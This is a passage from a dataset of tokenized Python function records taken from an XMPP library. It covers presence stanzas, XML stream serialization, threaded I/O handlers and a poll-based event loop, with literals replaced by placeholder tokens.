"id": "f15261:c0:m0"}
{"signature": "def _decode_subelements(self):", "body": "for child in self._element:<EOL><INDENT>if child.tag == self._show_tag:<EOL><INDENT>self._show = child.text<EOL><DEDENT>elif child.tag == self._status_tag:<EOL><INDENT>self._status = child.text<EOL><DEDENT>elif child.tag == self._priority_tag:<EOL><INDENT>try:<EOL><INDENT>self._priority = int(child.text.strip())<EOL>if self._priority < -<NUM_LIT> or self._priority > <NUM_LIT>:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise BadRequestProtocolError(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Decode the stanza subelements.", "id": "f15261:c0:m1"}
{"signature": "def as_xml(self):", "body": "result = Stanza.as_xml(self)<EOL>if self._show:<EOL><INDENT>child = ElementTree.SubElement(result, self._show_tag)<EOL>child.text = self._show<EOL><DEDENT>if self._status:<EOL><INDENT>child = ElementTree.SubElement(result, self._status_tag)<EOL>child.text = self._status<EOL><DEDENT>if self._priority:<EOL><INDENT>child = ElementTree.SubElement(result, self._priority_tag)<EOL>child.text = unicode(self._priority)<EOL><DEDENT>return result<EOL>", "docstring": "Return the XML stanza representation.\n\n        Always return an independent copy of the stanza XML representation,\n        which can be freely modified without affecting the stanza.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15261:c0:m2"}
{"signature": "def copy(self):", "body": "result = Presence(None, self.from_jid, self.to_jid,<EOL>self.stanza_type, self.stanza_id, self.error,<EOL>self._return_path(),<EOL>self._show, self._status, self._priority)<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>result.add_payload(payload.copy())<EOL><DEDENT>return result<EOL>", "docstring": "Create a deep copy of the stanza.\n\n        :returntype: `Presence`", "id": "f15261:c0:m3"}
{"signature": "@property<EOL><INDENT>def show(self): <DEDENT>", "body": "return self._show<EOL>", "docstring": "Presence status type.\n\n        :returntype: `unicode`", "id": "f15261:c0:m4"}
{"signature": "@property<EOL><INDENT>def status(self): <DEDENT>", "body": "return self._status<EOL>", "docstring": "Presence status message.\n\n        :returntype: `unicode`", "id": "f15261:c0:m6"}
{"signature": "@property<EOL><INDENT>def priority(self): <DEDENT>", "body": "return self._priority<EOL>", "docstring": "Presence priority.\n\n        :returntype: `unicode`", "id": "f15261:c0:m8"}
{"signature": "def make_accept_response(self):", "body": "if self.stanza_type not in (\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>stanza = Presence(stanza_type = ACCEPT_RESPONSES[self.stanza_type],<EOL>from_jid = self.to_jid, to_jid = self.from_jid,<EOL>stanza_id = self.stanza_id)<EOL>return stanza<EOL>", "docstring": "Create \"accept\" response for the \"subscribe\" / \"subscribed\" /\n        \"unsubscribe\" / \"unsubscribed\" presence stanza.\n\n        :return: new stanza.\n        :returntype: `Presence`", "id": "f15261:c0:m10"}
{"signature": "def make_deny_response(self):", "body": "if self.stanza_type not in (\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>stanza = Presence(stanza_type = DENY_RESPONSES[self.stanza_type],<EOL>from_jid = self.to_jid, to_jid = self.from_jid,<EOL>stanza_id = self.stanza_id)<EOL>return stanza<EOL>", "docstring": "Create \"deny\" response for the \"subscribe\" / \"subscribed\" /\n        \"unsubscribe\" / \"unsubscribed\" presence stanza.\n\n        :return: new presence stanza.\n        :returntype: `Presence`", "id": "f15261:c0:m11"}
{"signature": "def make_error_response(self, cond):", "body": "if self.stanza_type == \"<STR_LIT:error>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>stanza = Presence(stanza_type = \"<STR_LIT:error>\", from_jid = self.from_jid,<EOL>to_jid = self.to_jid, stanza_id = self.stanza_id,<EOL>status = self._status, show = self._show,<EOL>priority = self._priority, error_cond = cond)<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>stanza.add_payload(payload)<EOL><DEDENT>return stanza<EOL>", "docstring": "Create error response for the any non-error presence stanza.\n\n        :Parameters:\n            - `cond`: error condition name, as defined in XMPP specification.\n        :Types:\n            - `cond`: `unicode`\n\n        :return: new presence stanza.\n        :returntype: `Presence`", "id": "f15261:c0:m12"}
{"signature": "def remove_evil_characters(data):", "body": "return EVIL_CHARACTERS_RE.sub(\"<STR_LIT>\", data)<EOL>", "docstring": "Remove control characters (not allowed in XML) from a string.", "id": "f15262:m0"}
{"signature": "def serialize(element):", "body": "if getattr(_THREAD, \"<STR_LIT>\", None) is None:<EOL><INDENT>_THREAD.serializer = XMPPSerializer(\"<STR_LIT>\")<EOL>_THREAD.serializer.emit_head(None, None)<EOL><DEDENT>return _THREAD.serializer.emit_stanza(element)<EOL>", "docstring": "Serialize an XMPP element.\n\n    Utility function for debugging or logging.\n\n        :Parameters:\n            - `element`: the element to serialize\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n\n        :Return: serialized element\n        :Returntype: `unicode`", "id": "f15262:m1"}
{"signature": "def __init__(self, stanza_namespace, extra_prefixes = None):", "body": "self.stanza_namespace = stanza_namespace<EOL>self._prefixes = {}<EOL>if extra_prefixes:<EOL><INDENT>self._prefixes.update(extra_prefixes)<EOL><DEDENT>self._root_prefixes = None<EOL>self._head_emitted = False<EOL>self._next_id = <NUM_LIT:1><EOL>", "docstring": ":Parameters:\n    - `stanza_namespace`: the default namespace used for XMPP stanzas.\n      E.g. 'jabber:client' for c2s connections.\n    - `extra_prefixes`: mapping of namespaces to prefixes (not the\n      other way) to be used on the stream. These prefixes will be\n      declared on the root element and used in all descendants. That\n      may be used to optimize the stream for size.\n:Types:\n    - `stanza_namespace`: `unicode`\n    - `extra_prefixes`: `unicode` to `unicode` mapping.", "id": "f15262:c0:m0"}
{"signature": "def add_prefix(self, namespace, prefix):", "body": "if prefix == \"<STR_LIT>\" and namespace != XML_NS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._prefixes[namespace] = prefix<EOL>", "docstring": "Add a new namespace prefix.\n\n        If the root element has not yet been emitted the prefix will\n        be declared there, otherwise the prefix will be declared on the\n        top-most element using this namespace in every stanza.\n\n        :Parameters:\n            - `namespace`: the namespace URI\n            - `prefix`: the prefix string\n        :Types:\n            - `namespace`: `unicode`\n            - `prefix`: `unicode`", "id": "f15262:c0:m1"}
{"signature": "def emit_head(self, stream_from, stream_to, stream_id = None,<EOL>version = '<STR_LIT:1.0>', language = None):", "body": "<EOL>self._root_prefixes = dict(STANDARD_PREFIXES)<EOL>self._root_prefixes[self.stanza_namespace] = None<EOL>for namespace, prefix in list(self._root_prefixes.items()):<EOL><INDENT>if not prefix or prefix == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if namespace in STANDARD_PREFIXES or namespace in STANZA_NAMESPACES:<EOL><INDENT>continue<EOL><DEDENT>self._root_prefixes[namespace] = prefix<EOL><DEDENT>tag = \"<STR_LIT>\".format(STANDARD_PREFIXES[STREAM_NS],<EOL>quoteattr(version))<EOL>if stream_from:<EOL><INDENT>tag += \"<STR_LIT>\".format(quoteattr(stream_from))<EOL><DEDENT>if stream_to:<EOL><INDENT>tag += \"<STR_LIT>\".format(quoteattr(stream_to))<EOL><DEDENT>if stream_id is not None:<EOL><INDENT>tag += \"<STR_LIT>\".format(quoteattr(stream_id))<EOL><DEDENT>if language is not None:<EOL><INDENT>tag += \"<STR_LIT>\".format(quoteattr(language))<EOL><DEDENT>for namespace, prefix in list(self._root_prefixes.items()):<EOL><INDENT>if prefix == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if prefix:<EOL><INDENT>tag += '<STR_LIT>'.format(prefix, quoteattr(namespace))<EOL><DEDENT>else:<EOL><INDENT>tag += '<STR_LIT>'.format(prefix, quoteattr(namespace))<EOL><DEDENT><DEDENT>tag += \"<STR_LIT:>>\"<EOL>self._head_emitted = True<EOL>return tag<EOL>", "docstring": "Return the opening tag of the stream root element.\n\n        :Parameters:\n            - `stream_from`: the 'from' attribute of the stream. May be `None`.\n            - `stream_to`: the 'to' attribute of the stream. May be `None`.\n            - `version`: the 'version' of the stream.\n            - `language`: the 'xml:lang' of the stream\n        :Types:\n            - `stream_from`: `unicode`\n            - `stream_to`: `unicode`\n            - `version`: `unicode`\n            - `language`: `unicode`", "id": "f15262:c0:m2"}
{"signature": "def emit_tail(self):", "body": "return \"<STR_LIT>\".format(self._root_prefixes[STREAM_NS])<EOL>", "docstring": "Return the end tag of the stream root element.", "id": "f15262:c0:m3"}
{"signature": "def _split_qname(self, name, is_element):", "body": "if name.startswith(\"<STR_LIT:{>\"):<EOL><INDENT>namespace, name = name[<NUM_LIT:1>:].split(\"<STR_LIT:}>\", <NUM_LIT:1>)<EOL>if namespace in STANZA_NAMESPACES:<EOL><INDENT>namespace = self.stanza_namespace<EOL><DEDENT><DEDENT>elif is_element:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(name))<EOL><DEDENT>else:<EOL><INDENT>namespace = None<EOL><DEDENT>return namespace, name<EOL>", "docstring": "Split an element of attribute qname into namespace and local\n        name.\n\n        :Parameters:\n            - `name`: element or attribute QName\n            - `is_element`: `True` for an element, `False` for an attribute\n        :Types:\n            - `name`: `unicode`\n            - `is_element`: `bool`\n\n        :Return: namespace URI, local name\n        :returntype: `unicode`, `unicode`", "id": "f15262:c0:m4"}
{"signature": "def _make_prefix(self, declared_prefixes):", "body": "used_prefixes = set(self._prefixes.values())<EOL>used_prefixes |= set(declared_prefixes.values())<EOL>while True:<EOL><INDENT>prefix = \"<STR_LIT>\".format(self._next_id)<EOL>self._next_id += <NUM_LIT:1><EOL>if prefix not in used_prefixes:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return prefix<EOL>", "docstring": "Make up a new namespace prefix, which won't conflict\n        with `_prefixes` and prefixes declared in the current scope.\n\n        :Parameters:\n            - `declared_prefixes`: namespace to prefix mapping for the current\n              scope\n        :Types:\n            - `declared_prefixes`: `unicode` to `unicode` dictionary\n\n        :Returns: a new prefix\n        :Returntype: `unicode`", "id": "f15262:c0:m5"}
{"signature": "def _make_prefixed(self, name, is_element, declared_prefixes, declarations):", "body": "namespace, name = self._split_qname(name, is_element)<EOL>if namespace is None:<EOL><INDENT>prefix = None<EOL><DEDENT>elif namespace in declared_prefixes:<EOL><INDENT>prefix = declared_prefixes[namespace]<EOL><DEDENT>elif namespace in self._prefixes:<EOL><INDENT>prefix = self._prefixes[namespace]<EOL>declarations[namespace] = prefix<EOL>declared_prefixes[namespace] = prefix<EOL><DEDENT>else:<EOL><INDENT>if is_element:<EOL><INDENT>prefix = None<EOL><DEDENT>else:<EOL><INDENT>prefix = self._make_prefix(declared_prefixes)<EOL><DEDENT>declarations[namespace] = prefix<EOL>declared_prefixes[namespace] = prefix<EOL><DEDENT>if prefix:<EOL><INDENT>return prefix + \"<STR_LIT::>\" + name<EOL><DEDENT>else:<EOL><INDENT>return name<EOL><DEDENT>", "docstring": "Return namespace-prefixed tag or attribute name.\n\n        Add appropriate declaration to `declarations` when neccessary.\n\n        If no prefix for an element namespace is defined, make the elements\n        namespace default (no prefix). For attributes, make up a prefix in such\n        case.\n\n        :Parameters:\n            - `name`: QName ('{namespace-uri}local-name')\n              to convert\n            - `is_element`: `True` for element, `False` for an attribute\n            - `declared_prefixes`: mapping of prefixes already declared\n              at this scope\n            - `declarations`: XMLNS declarations on the current element.\n        :Types:\n            - `name`: `unicode`\n            - `is_element`: `bool`\n            - `declared_prefixes`: `unicode` to `unicode` dictionary\n            - `declarations`: `unicode` to `unicode` dictionary\n\n        :Returntype: `unicode`", "id": "f15262:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _make_ns_declarations(declarations, declared_prefixes):<DEDENT>", "body": "result = []<EOL>for namespace, prefix in list(declarations.items()):<EOL><INDENT>if prefix:<EOL><INDENT>result.append('<STR_LIT>'.format(prefix, quoteattr(<EOL>namespace)))<EOL><DEDENT>else:<EOL><INDENT>result.append('<STR_LIT>'.format(prefix, quoteattr(<EOL>namespace)))<EOL><DEDENT>for d_namespace, d_prefix in list(declared_prefixes.items()):<EOL><INDENT>if (not prefix and not d_prefix) or d_prefix == prefix:<EOL><INDENT>if namespace != d_namespace:<EOL><INDENT>del declared_prefixes[d_namespace]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return \"<STR_LIT:U+0020>\".join(result)<EOL>", "docstring": "Build namespace declarations and remove obsoleted mappings\n        from `declared_prefixes`.\n\n        :Parameters:\n            - `declarations`: namespace to prefix mapping of the new\n              declarations\n            - `declared_prefixes`: namespace to prefix mapping of already\n              declared prefixes.\n        :Types:\n            - `declarations`: `unicode` to `unicode` dictionary\n            - `declared_prefixes`: `unicode` to `unicode` dictionary\n\n        :Return: string of namespace declarations to be used in a start tag\n        :Returntype: `unicode`", "id": "f15262:c0:m7"}
{"signature": "def _emit_element(self, element, level, declared_prefixes):", "body": "declarations = {}<EOL>declared_prefixes = dict(declared_prefixes)<EOL>name = element.tag<EOL>prefixed = self._make_prefixed(name, True, declared_prefixes,<EOL>declarations)<EOL>start_tag = \"<STR_LIT>\".format(prefixed)<EOL>end_tag = \"<STR_LIT>\".format(prefixed)<EOL>for name, value in list(element.items()):<EOL><INDENT>prefixed = self._make_prefixed(name, False, declared_prefixes,<EOL>declarations)<EOL>start_tag += '<STR_LIT>'.format(prefixed, quoteattr(value))<EOL><DEDENT>declarations = self._make_ns_declarations(declarations,<EOL>declared_prefixes)<EOL>if declarations:<EOL><INDENT>start_tag += \"<STR_LIT:U+0020>\" + declarations<EOL><DEDENT>children = []<EOL>for child in element:<EOL><INDENT>children.append(self._emit_element(child, level +<NUM_LIT:1>,<EOL>declared_prefixes))<EOL><DEDENT>if not children and not element.text:<EOL><INDENT>start_tag += \"<STR_LIT>\"<EOL>end_tag = \"<STR_LIT>\"<EOL>text = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>start_tag += \"<STR_LIT:>>\"<EOL>if level > <NUM_LIT:0> and element.text:<EOL><INDENT>text = escape(element.text)<EOL><DEDENT>else:<EOL><INDENT>text = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if level > <NUM_LIT:1> and element.tail:<EOL><INDENT>tail = escape(element.tail)<EOL><DEDENT>else:<EOL><INDENT>tail = \"<STR_LIT>\"<EOL><DEDENT>return start_tag + text + '<STR_LIT>'.join(children) + end_tag + tail<EOL>", "docstring": "Recursive XML element serializer.\n\n        :Parameters:\n            - `element`: the element to serialize\n            - `level`: nest level (0 - root element, 1 - stanzas, etc.)\n            - `declared_prefixes`: namespace to prefix mapping of already\n              declared prefixes.\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n            - `level`: `int`\n            - `declared_prefixes`: `unicode` to `unicode` dictionary\n\n        :Return: serialized element\n        :Returntype: `unicode`", "id": "f15262:c0:m8"}
{"signature": "def emit_stanza(self, element):", "body": "if not self._head_emitted:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>string = self._emit_element(element, level = <NUM_LIT:1>,<EOL>declared_prefixes = self._root_prefixes)<EOL>return remove_evil_characters(string)<EOL>", "docstring": "Serialize a stanza.\n\n        Must be called after `emit_head`.\n\n        :Parameters:\n            - `element`: the element to serialize\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n\n        :Return: serialized element\n        :Returntype: `unicode`", "id": "f15262:c0:m9"}
{"signature": "def start(self):", "body": "self.thread.start()<EOL>", "docstring": "Start the thread.", "id": "f15264:c0:m1"}
{"signature": "def is_alive(self):", "body": "return self.thread.is_alive()<EOL>", "docstring": "Check if the thread is alive.", "id": "f15264:c0:m2"}
{"signature": "def stop(self):", "body": "self._quit = True<EOL>", "docstring": "Request the thread to stop.", "id": "f15264:c0:m3"}
{"signature": "def join(self, timeout=None):", "body": "return self.thread.join(timeout)<EOL>", "docstring": "Join the thread (wait until it stops).", "id": "f15264:c0:m4"}
{"signature": "def _run(self):", "body": "logger.debug(\"<STR_LIT>\".format(self.name))<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.run()<EOL><DEDENT>except Exception: <EOL><INDENT>self.exc_info = sys.exc_info()<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(self.name), exc_info = self.exc_info)<EOL>if self.exc_queue:<EOL><INDENT>self.exc_queue.put( (self, self.exc_info) )<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT><DEDENT>except:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT>break<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>", "docstring": "The thread function. Calls `self.run()` in loop and if it raises an\n        exception, stores it in self.exc_queue. If `exc_queue` is None\n        the exception will abort the thread.", "id": "f15264:c0:m5"}
{"signature": "def run(self):", "body": "raise NotImplementedError<EOL>", "docstring": "The thread function.", "id": "f15264:c0:m6"}
{"signature": "def run(self):", "body": "<EOL>interval = self.settings[\"<STR_LIT>\"]<EOL>prepared = False<EOL>timeout = <NUM_LIT:0.1><EOL>while not self._quit:<EOL><INDENT>if not prepared:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>self.name, self.io_handler))<EOL>ret = self.io_handler.prepare()<EOL>logger.debug(\"<STR_LIT>\".format(self.name,<EOL>ret))<EOL>if isinstance(ret, HandlerReady):<EOL><INDENT>prepared = True<EOL><DEDENT>elif isinstance(ret, PrepareAgain):<EOL><INDENT>if ret.timeout is not None:<EOL><INDENT>timeout = ret.timeout<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self.io_handler.is_readable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>fileno = self.io_handler.fileno()<EOL>if fileno is not None:<EOL><INDENT>readable = wait_for_read(fileno, interval)<EOL>if readable:<EOL><INDENT>self.io_handler.handle_read()<EOL><DEDENT><DEDENT><DEDENT>elif not prepared:<EOL><INDENT>if timeout:<EOL><INDENT>time.sleep(timeout)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>if not self.io_handler.wait_for_readability():<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "The thread function.\n\n        First, call the handler's 'prepare' method until it returns\n        `HandlerReady` then loop waiting for the socket input and calling\n        'handle_read' on the handler.", "id": "f15264:c1:m1"}
{"signature": "def run(self):", "body": "while not self._quit:<EOL><INDENT>interval = self.settings[\"<STR_LIT>\"]<EOL>if self.io_handler.is_writable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>fileno = self.io_handler<EOL>if fileno:<EOL><INDENT>writable = wait_for_write(fileno, interval)<EOL>if writable:<EOL><INDENT>self.io_handler.handle_write()<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>if not self.io_handler.wait_for_writability():<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "The thread function.\n\n        Loop waiting for the handler and socket being writable and calling\n        `interfaces.IOHandler.handle_write`.", "id": "f15264:c2:m1"}
{"signature": "def start(self):", "body": "self.thread.start()<EOL>", "docstring": "Start the thread.", "id": "f15264:c3:m1"}
{"signature": "def is_alive(self):", "body": "return self.thread.is_alive()<EOL>", "docstring": "Check if the thread is alive.", "id": "f15264:c3:m2"}
{"signature": "def join(self, timeout=None):", "body": "return self.thread.join(timeout)<EOL>", "docstring": "Join the thread.", "id": "f15264:c3:m3"}
{"signature": "def run(self):", "body": "logger.debug(\"<STR_LIT>\".format(self.name))<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.event_dispatcher.loop()<EOL><DEDENT>except Exception: <EOL><INDENT>self.exc_info = sys.exc_info()<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(self.name), exc_info = self.exc_info)<EOL>if self.exc_queue:<EOL><INDENT>self.exc_queue.put( (self, self.exc_info) )<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT><DEDENT>except:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT>break<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>", "docstring": "The thread function. Calls `self.run()` and if it raises\n        an exception, stores it in self.exc_info and exc_queue", "id": "f15264:c3:m4"}
{"signature": "def start(self):", "body": "self.thread.start()<EOL>", "docstring": "Start the thread.", "id": "f15264:c4:m1"}
{"signature": "def is_alive(self):", "body": "return self.thread.is_alive()<EOL>", "docstring": "Check if the thread is alive.", "id": "f15264:c4:m2"}
{"signature": "def stop(self):", "body": "self._quit = True<EOL>", "docstring": "Request the thread to stop.", "id": "f15264:c4:m3"}
{"signature": "def join(self, timeout=None):", "body": "return self.thread.join(timeout)<EOL>", "docstring": "Join the thread (wait until it stops).", "id": "f15264:c4:m4"}
{"signature": "def _run(self):", "body": "logger.debug(\"<STR_LIT>\".format(self.name))<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.run()<EOL><DEDENT>except Exception: <EOL><INDENT>self.exc_info = sys.exc_info()<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(self.name), exc_info = self.exc_info)<EOL>if self.exc_queue:<EOL><INDENT>self.exc_queue.put( (self, self.exc_info) )<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT><DEDENT>except:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>return<EOL><DEDENT>break<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(self.name))<EOL>", "docstring": "The thread function. Calls `self.run()` and if it raises\n        an exception, stores it in self.exc_info", "id": "f15264:c4:m5"}
{"signature": "def run(self):", "body": "<EOL>timeout = self.method._pyxmpp_timeout<EOL>recurring = self.method._pyxmpp_recurring<EOL>while not self._quit and timeout is not None:<EOL><INDENT>if timeout:<EOL><INDENT>time.sleep(timeout)<EOL><DEDENT>if self._quit:<EOL><INDENT>break<EOL><DEDENT>ret = self.method()<EOL>if recurring is None:<EOL><INDENT>timeout = ret<EOL><DEDENT>elif not recurring:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "The thread function.", "id": "f15264:c4:m6"}
{"signature": "def _add_io_handler(self, handler):", "body": "self.io_handlers.append(handler)<EOL>if self.event_thread is None:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Add an IOHandler to the pool.", "id": "f15264:c5:m3"}
{"signature": "def _run_io_threads(self, handler):", "body": "reader = ReadingThread(self.settings, handler, daemon = self.daemon,<EOL>exc_queue = self.exc_queue)<EOL>writter = WrittingThread(self.settings, handler, daemon = self.daemon,<EOL>exc_queue = self.exc_queue)<EOL>self.io_threads += [reader, writter]<EOL>reader.start()<EOL>writter.start()<EOL>", "docstring": "Start threads for an IOHandler.", "id": "f15264:c5:m4"}
{"signature": "def _remove_io_handler(self, handler):", "body": "if handler not in self.io_handlers:<EOL><INDENT>return<EOL><DEDENT>self.io_handlers.remove(handler)<EOL>for thread in self.io_threads:<EOL><INDENT>if thread.io_handler is handler:<EOL><INDENT>thread.stop()<EOL><DEDENT><DEDENT>", "docstring": "Remove an IOHandler from the pool.", "id": "f15264:c5:m5"}
{"signature": "def _add_timeout_handler(self, handler):", "body": "self.timeout_handlers.append(handler)<EOL>if self.event_thread is None:<EOL><INDENT>return<EOL><DEDENT>self._run_timeout_threads(handler)<EOL>", "docstring": "Add a TimeoutHandler to the pool.", "id": "f15264:c5:m6"}
{"signature": "def _run_timeout_threads(self, handler):", "body": "<EOL>for dummy, method in inspect.getmembers(handler, callable):<EOL><INDENT>if not hasattr(method, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>thread = TimeoutThread(method, daemon = self.daemon,<EOL>exc_queue = self.exc_queue)<EOL>self.timeout_threads.append(thread)<EOL>thread.start()<EOL><DEDENT>", "docstring": "Start threads for a TimeoutHandler.", "id": "f15264:c5:m7"}
{"signature": "def _remove_timeout_handler(self, handler):", "body": "if handler not in self.timeout_handlers:<EOL><INDENT>return<EOL><DEDENT>self.timeout_handlers.remove(handler)<EOL>for thread in self.timeout_threads:<EOL><INDENT>if thread.method.__self__ is handler:<EOL><INDENT>thread.stop()<EOL><DEDENT><DEDENT>", "docstring": "Remove a TimeoutHandler from the pool.", "id": "f15264:c5:m8"}
{"signature": "def start(self, daemon = False):", "body": "self.daemon = daemon<EOL>self.io_threads = []<EOL>self.event_thread = EventDispatcherThread(self.event_dispatcher,<EOL>daemon = daemon, exc_queue = self.exc_queue)<EOL>self.event_thread.start()<EOL>for handler in self.io_handlers:<EOL><INDENT>self._run_io_threads(handler)<EOL><DEDENT>for handler in self.timeout_handlers:<EOL><INDENT>self._run_timeout_threads(handler)<EOL><DEDENT>", "docstring": "Start the threads.", "id": "f15264:c5:m9"}
{"signature": "def stop(self, join = False, timeout = None):", "body": "logger.debug(\"<STR_LIT>\")<EOL>for handler in self.io_handlers:<EOL><INDENT>handler.close()<EOL><DEDENT>if self.event_thread and self.event_thread.is_alive():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.event_queue.put(QUIT)<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>threads = self.io_threads + self.timeout_threads<EOL>for thread in threads:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(thread))<EOL>thread.stop()<EOL><DEDENT>if not join:<EOL><INDENT>return<EOL><DEDENT>if self.event_thread:<EOL><INDENT>threads.append(self.event_thread)<EOL><DEDENT>if timeout is None:<EOL><INDENT>for thread in threads:<EOL><INDENT>thread.join()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>timeout1 = (timeout * <NUM_LIT>) / len(threads)<EOL>threads_left = []<EOL>for thread in threads:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(thread))<EOL>thread.join(timeout1)<EOL>if thread.is_alive():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(thread))<EOL>threads_left.append(thread)<EOL><DEDENT><DEDENT>if threads_left:<EOL><INDENT>timeout2 = (timeout * <NUM_LIT>) / len(threads_left)<EOL>for thread in threads_left:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(thread))<EOL>thread.join(timeout2)<EOL><DEDENT><DEDENT><DEDENT>self.io_threads = []<EOL>self.event_thread = None<EOL>", "docstring": "Stop the threads.\n\n        :Parameters:\n            - `join`: join the threads (wait until they exit)\n            - `timeout`: maximum time (in seconds) to wait when `join` is\n              `True`).  No limit when `timeout` is `None`.", "id": "f15264:c5:m10"}
{"signature": "def loop_iteration(self, timeout = <NUM_LIT:0.1>):", "body": "try:<EOL><INDENT>exc_info = self.exc_queue.get(True, timeout)[<NUM_LIT:1>]<EOL><DEDENT>except queue.Empty:<EOL><INDENT>return<EOL><DEDENT>exc_type, exc_value, ext_stack = exc_info<EOL>raise exc_type(exc_value).with_traceback(ext_stack)<EOL>", "docstring": "Wait up to `timeout` seconds, raise any exception from the\n        threads.", "id": "f15264:c5:m15"}
{"signature": "def _add_io_handler(self, handler):", "body": "self._unprepared_handlers[handler] = None<EOL>self._configure_io_handler(handler)<EOL>", "docstring": "Add an I/O handler to the loop.", "id": "f15265:c0:m1"}
{"signature": "def _configure_io_handler(self, handler):", "body": "if self.check_events():<EOL><INDENT>return<EOL><DEDENT>if handler in self._unprepared_handlers:<EOL><INDENT>old_fileno = self._unprepared_handlers[handler]<EOL>prepared = self._prepare_io_handler(handler)<EOL><DEDENT>else:<EOL><INDENT>old_fileno = None<EOL>prepared = True<EOL><DEDENT>fileno = handler.fileno()<EOL>if old_fileno is not None and fileno != old_fileno:<EOL><INDENT>del self._handlers[old_fileno]<EOL>try:<EOL><INDENT>self.poll.unregister(old_fileno)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not prepared:<EOL><INDENT>self._unprepared_handlers[handler] = fileno<EOL><DEDENT>if not fileno:<EOL><INDENT>return<EOL><DEDENT>self._handlers[fileno] = handler<EOL>events = <NUM_LIT:0><EOL>if handler.is_readable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= select.POLLIN<EOL><DEDENT>if handler.is_writable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= select.POLLOUT<EOL><DEDENT>if events:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(handler, fileno, events))<EOL>self.poll.register(fileno, events)<EOL><DEDENT>", "docstring": "Register an io-handler at the polling object.", "id": "f15265:c0:m2"}
